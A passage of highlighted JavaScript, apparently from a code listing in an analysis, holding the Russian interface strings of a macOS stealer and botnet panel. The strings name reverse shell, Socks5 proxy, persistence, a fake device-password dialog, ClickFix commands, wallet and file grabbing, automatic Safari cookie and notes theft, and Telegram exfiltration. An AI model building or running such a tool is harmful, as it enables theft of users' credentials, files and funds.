font-style: inherit;">enableSocks</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Включить Socks5`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-583">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enableShell</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Включить Reverse Shell`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-584">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">doPersistent</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сделать постоянным`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-585">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteBot</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить бота`</span></span>
<span id="cb28-586">            }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-587">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">never</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Никогда`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-588">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">invalidTime</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Неверное время`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-589">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">justNow</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`только что`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-590">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">yAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}л назад`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-591">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">moAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}мес назад`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-592">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">wAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}нед назад`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-593">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}д назад`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-594">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">hAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}ч назад`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-595">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">mAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}м назад`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-596">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">sAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}с назад`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-597">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">na</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Н/Д`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-598">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">invalidDate</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Неверная дата`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-599">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">firstConnect</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Первое подключение`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-600">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loadingError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ошибка загрузки данных ботов.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-601">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">requestFailed</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Запрос не выполнен со статусом {{status}}`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-602">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unknownFetchError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Неизвестная ошибка при получении прокси.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-603">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">socksUrl</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`URL Socks-прокси`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-604">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Копировать`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-605">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">openLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Открыть ссылку`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-606">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToDelete</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось удалить прокси`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-607">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deletedSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Прокси успешно удален.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-608">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unknownDeleteError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Неизвестная ошибка при удалении прокси.`</span></span>
<span id="cb28-609">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-610">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">builder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-611">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">title</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Конструктор`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-612">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">requiredParams</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Обязательные параметры`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-613">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildHistory</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Недавние сборки`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-614">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildType</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Тип сборки`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-615">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unixTypeLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`unix (актуален до macOS 14)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-616">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">appTypeLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`.app (актуален с macOS 15 и выше)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-617">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">commandTypeLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Команда (для Clickfix)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-618">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">pkgTypeLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`pkg (Инсталлятор)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-619">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">serverAddress</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Адрес сервера`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-620">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">serverAddressPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`напр., http://vash-server.com`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-621">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">filename</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Имя файла`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-622">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">icon</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Иконка (.icns)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-623">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">iconPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Загрузить файл иконки (.icns)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-624">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">iconFormatError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Файл иконки должен быть в формате .icns.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-625">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileOptions</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Фоновые настройки (необязательно)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-626">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">background</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Фон (необязательно, только .png)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-627">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">backgroundFormatError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Файл фона должен быть в формате .png.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-628">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">position</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Позиция (необязательно)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-629">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">positionPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`напр., 400 200`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-630">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwordDialog</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Настройка диалога пароля (необязательно)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-631">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dialogTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Заголовок диалога`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-632">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dialogDescription</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Описание диалога`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-633">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwordDialogTitleDefault</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Password Request`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-634">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwordDialogDescriptionDefault</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Please enter device password to continue.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-635">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">preview</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Предпросмотр`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-636">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildSectionTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сборка (необязательно)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-637">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildId</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ID билда`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-638">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">telegram</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Telegram (необязательно)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-639">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatIdFiles</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Chat ID для файлов`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-640">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatIdNotifications</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Chat ID для уведомлений`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-641">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabber</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FileGrabber (необязательно)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-642">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabberPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Расширения FileGrabber (.txt, .pdf, .wallet и т.д.)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-643">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">appleScript</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`AppleScript (необязательно)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-644">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">appleScriptPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`set somevar to "hello"</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\\</span><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">ndisplay dialog somevar`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-645">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">save</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сохранить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-646">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cancel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Отмена`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-647">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">building</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сборка`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-648">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildingNotification</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сборка, пожалуйста, подождите...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-649">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildingProjectTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сборка проекта`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-650">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildStep0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подготовка пейлоада...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-651">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildStep1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Загрузка ассетов...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-652">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildStep2</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Компиляция файла...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-653">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildStep3</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подпись пакета...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-654">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildStep4</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Завершение сборки...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-655">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">attention</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Внимание`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-656">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">zipPasswordInfo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Все созданные ZIP архивы зашифрованы. Пароль:`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-657">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildFailedError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сборка не удалась. Статус: {{status}}. {{errorText}}`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-658">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">invalidPositionFormat</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Неверный формат позиции. Используйте формат 'x y' (напр., 400 200).`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-659">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">invalidCommandFormat</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Получен неверный формат команды с сервера.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-660">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сборка успешно завершена! Загрузка началась.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-661">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unexpectedError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Произошла непредвиденная ошибка во время сборки.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-662">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">yourCommand</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ваша команда`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-663">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabberOptional</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FileGrabber (необязательно)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-664">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabberTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FileGrabber`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-665">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabberDescription</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Для сбора файлов FileGrabber требует разрешения пользователя. Cookies Safari и заметки собираются автоматически, независимо от этого переключателя.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-666">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">fileGrabberExtensions</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
